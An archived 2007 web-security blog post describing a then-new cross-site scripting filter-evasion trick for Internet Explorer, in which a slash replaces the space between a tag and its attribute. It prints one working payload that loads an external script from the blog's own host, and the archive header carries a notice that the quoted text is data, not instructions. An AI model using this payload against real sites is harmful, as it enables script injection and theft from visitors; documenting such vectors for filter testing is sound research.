

ha.ckers.org web application security lab

ha.ckers.org web application security lab - Author not stated, ha.ckers.org.

- Published: date not stated
- Original: <<http://ha.ckers.org/blog/20070209/non-alpha-non-digit-3/>>
- Preserved from: <http://ha.ckers.org/blog/20070209/non-alpha-non-digit-3/> (stored) on 2026-08-16
- Capture timestamp: 20070609162004
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

ha.ckers.org web application security lab - Archive » Non-Alpha-Non-Digit 3

[\[\[image: web application security lab\]\]\(http://ha.ckers.org/\)](http://ha.ckers.org/)

Non-Alpha-Non-Digit 3

[Yair Amit](#) brought something to my attention today which actually required me to add a vector to the Cheat Sheet. I got a lot of people asking me to make changes and amendments to the cheat sheet, as you can probably guess so to actually get me to do it requires something new. Yair at first began describing a known issue about Non-alpha-non-digit, which is a little ho-hum at this point, but after a few email exchanges he came up with something that actually is new. The [Non-alpha-non-digit 3 XSS vector](#).

In the Internet Explorer rendering engine (IE6.0-7.0 and Netscape 8.0+ in IE mode) a tag and a parameter can be separated by a slash. This might sound like old news, but unlike the original non-alpha-non-digit vector this does not require a space:

```
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
```

Although it's only useful in the Internet Explorer rendering engine it's a nice vector as it a) obfuscates where the tag and the parameter start and end and b) doesn't require any spaces. I'm absolutely positive this will cause some XSS filters to fail, so take heed if you use whitespace to test where tags end. Thanks to Yair! Nice find!

This entry was posted on Friday, February 9th, 2007 at 11:08 am and is filed under [XSS](#), [Webappsec](#). You can follow any responses to this entry through the [RSS 2.0](#) feed. You can leave a response, or [trackback](#) from your own site.

Leave a Reply Or Discuss [On the Forums](#)

Name (required)

Mail (will not be published) (required)

Website

Archived from <http://ha.ckers.org/blog/20070209/non-alpha-non-digit-3/>. Rendered offline from the local Markdown copy.